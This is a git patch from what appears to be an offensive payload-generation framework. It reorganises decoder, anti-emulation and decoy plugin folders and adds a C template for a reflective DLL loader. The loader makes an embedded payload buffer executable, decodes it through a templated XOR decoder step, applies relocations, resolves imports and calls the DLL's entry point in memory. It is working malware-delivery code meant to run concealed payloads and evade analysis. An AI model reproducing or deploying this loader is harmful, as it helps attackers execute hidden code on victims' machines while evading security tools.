From 63c670850fda53b72bdc66544ce4847c0d7e2d2d Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Sun, 16 Jun 2024 07:45:25 +0200 Subject: [PATCH] refactor: move carrier plugins around --- .../source/{carrier => }/antiemulation/none.c | 0 .../antiemulation/sirallocalot.c | 0 .../{carrier => }/antiemulation/timeraw.c | 0 .../template.c | 0 .../carrier/dll_loader_change/template.c | 220 ++++++++++++++++++ data/source/{carrier => }/decoder/plain_1.c | 0 data/source/{carrier => }/decoder/xor_1.c | 0 data/source/{carrier => }/decoder/xor_2.c | 0 data/source/{carrier => }/decoy/none.c | 0 data/source/{carrier => }/decoy/winexec.c | 0 model/defs.py | 6 +- 11 files changed, 223 insertions(+), 3 deletions(-) rename data/source/{carrier => }/antiemulation/none.c (100%) rename data/source/{carrier => }/antiemulation/sirallocalot.c (100%) rename data/source/{carrier => }/antiemulation/timeraw.c (100%) rename data/source/carrier/{dll_loader => dll_loader_alloc}/template.c (100%) create mode 100644 data/source/carrier/dll_loader_change/template.c rename data/source/{carrier => }/decoder/plain_1.c (100%) rename data/source/{carrier => }/decoder/xor_1.c (100%) rename data/source/{carrier => }/decoder/xor_2.c (100%) rename data/source/{carrier => }/decoy/none.c (100%) rename data/source/{carrier => }/decoy/winexec.c (100%) diff --git a/data/source/carrier/antiemulation/none.c b/data/source/antiemulation/none.c similarity index 100% rename from data/source/carrier/antiemulation/none.c rename to data/source/antiemulation/none.c diff --git a/data/source/carrier/antiemulation/sirallocalot.c b/data/source/antiemulation/sirallocalot.c similarity index 100% rename from data/source/carrier/antiemulation/sirallocalot.c rename to data/source/antiemulation/sirallocalot.c diff --git a/data/source/carrier/antiemulation/timeraw.c b/data/source/antiemulation/timeraw.c similarity index 100% rename from data/source/carrier/antiemulation/timeraw.c rename to data/source/antiemulation/timeraw.c diff --git a/data/source/carrier/dll_loader/template.c b/data/source/carrier/dll_loader_alloc/template.c similarity index 100% rename from data/source/carrier/dll_loader/template.c rename to data/source/carrier/dll_loader_alloc/template.c diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c new file mode 100644 index 0000000..9fb9c63 --- /dev/null +++ b/data/source/carrier/dll_loader_change/template.c @@ -0,0 +1,220 @@ +#include +#include + + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* DLL loader + + This code will load a DLL (not a shellcode!) into memory, + resolve its imports, apply relocations, and execute it. + + Loader is based on: + https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection + with some patches to make it work here +*/ + + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + +typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID); + + +void mymemcpy(void* dest, const void* src, size_t n) { + char* d = (char*)dest; + const char* s = (const char*)src; + for (size_t i = 0; i < n; ++i) { + d[i] = s[i]; + } +} + + +DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { + // get this module's image base address + //PVOID imageBase = GetModuleHandleA(NULL); + + // dllBase is expected to be page-aligned + if ((DWORD_PTR)dllBase & 0xFFF) + { + MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK); + } + + // get pointers to in-memory DLL headers + PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew); + SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; + + DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; + +/* + // VirtualProtect the sections correctly + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + DWORD protect; + if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + protect = PAGE_EXECUTE_READWRITE; + } + else if (section->Characteristics & IMAGE_SCN_MEM_WRITE) + { + protect = PAGE_READWRITE; + } + else + { + protect = PAGE_READONLY; + } + + DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase; + DWORD_PTR sectionSize = section->SizeOfRawData; + DWORD oldProtect; + VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect); + section++; + } +*/ + + // Overwrite PE header: First 0x1000 bytes +/* + // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere + //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // get delta between this module's image base and the DLL that was read into memory + + // copy over DLL image headers to the newly allocated space for the DLL + mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); + + // copy over DLL image sections to the newly allocated space for the DLL + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); + LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); + mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData); + section++; + } +*/ + + // perform image base relocations + IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; + DWORD relocationsProcessed = 0; + + while (relocationsProcessed < relocations.Size) + { + PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); + relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); + DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); + PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); + + for (DWORD i = 0; i < relocationsCount; i++) + { + relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); + + // THIZ + if (relocationEntries[i].Type == 0) + { + continue; + } + + DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; + //DWORD_PTR addressToPatch = 0; + //ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); + DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA); + //DWORD_PTR value = *addressToPatch; + + *addressToPatch += deltaImageBase; + //mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); + + } + } + + MessageBoxW(0, L"AAA2", L"AAA2", MB_OK); + + // resolve import address table + PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; + IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); + LPCSTR libraryName; + HMODULE library = NULL; + + while (importDescriptor->Name != NULL) + { + libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; + library = LoadLibraryA(libraryName); + + if (library) + { + PIMAGE_THUNK_DATA thunk = NULL; + thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); + + while (thunk->u1.AddressOfData != NULL) + { + if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) + { + LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); + thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); + } + else + { + PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); + DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); + thunk->u1.Function = functionAddress; + } + ++thunk; + } + } + + importDescriptor++; + } + + *ret_dllBase = (DWORD_PTR)dllBase; + *ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint; + + return 0; +} + + +int main() +{ + // char* dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); + //char* dest = VirtualAlloc(0, 0x7000, 0x3000, PAGE_EXECUTE_READWRITE); + char* dest = supermega_payload; + DWORD protect, oldProtect; + protect = PAGE_EXECUTE_READWRITE; + VirtualProtect((LPVOID)dest, 0x7000, protect, &oldProtect); + + MessageBoxW(0, L"ok virtualprotect", L"AAA2", MB_OK); + + + // FROM supermega_payload[] + // TO dest[] + // Including decryption +{{ plugin_decoder }} + + + MessageBoxW(0, L"ok copy", L"AAA2", MB_OK); + + + // Load the DLL at dest + DWORD_PTR dllBase; + DWORD aoep; + load_dll( (void *) dest, &dllBase, &aoep); + DLLEntry DllEntry = (DLLEntry)(dllBase + aoep); + (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); + + return 0; +} + diff --git a/data/source/carrier/decoder/plain_1.c b/data/source/decoder/plain_1.c similarity index 100% rename from data/source/carrier/decoder/plain_1.c rename to data/source/decoder/plain_1.c diff --git a/data/source/carrier/decoder/xor_1.c b/data/source/decoder/xor_1.c similarity index 100% rename from data/source/carrier/decoder/xor_1.c rename to data/source/decoder/xor_1.c diff --git a/data/source/carrier/decoder/xor_2.c b/data/source/decoder/xor_2.c similarity index 100% rename from data/source/carrier/decoder/xor_2.c rename to data/source/decoder/xor_2.c diff --git a/data/source/carrier/decoy/none.c b/data/source/decoy/none.c similarity index 100% rename from data/source/carrier/decoy/none.c rename to data/source/decoy/none.c diff --git a/data/source/carrier/decoy/winexec.c b/data/source/decoy/winexec.c similarity index 100% rename from data/source/carrier/decoy/winexec.c rename to data/source/decoy/winexec.c diff --git a/model/defs.py b/model/defs.py index 386fc4e..f8ee147 100644 --- a/model/defs.py +++ b/model/defs.py @@ -14,9 +14,9 @@ PATH_SHELLCODES = "data/binary/shellcodes/" PATH_CARRIER = "data/source/carrier/" PATH_PAYLOAD = "data/source/payload/" -PATH_DECODER = "data/source/carrier/decoder/" -PATH_ANTIEMULATION = "data/source/carrier/antiemulation/" -PATH_DECOY = "data/source/carrier/decoy/" +PATH_DECODER = "data/source/decoder/" +PATH_ANTIEMULATION = "data/source/antiemulation/" +PATH_DECOY = "data/source/decoy/" PATH_WEB_PROJECT = "projects/"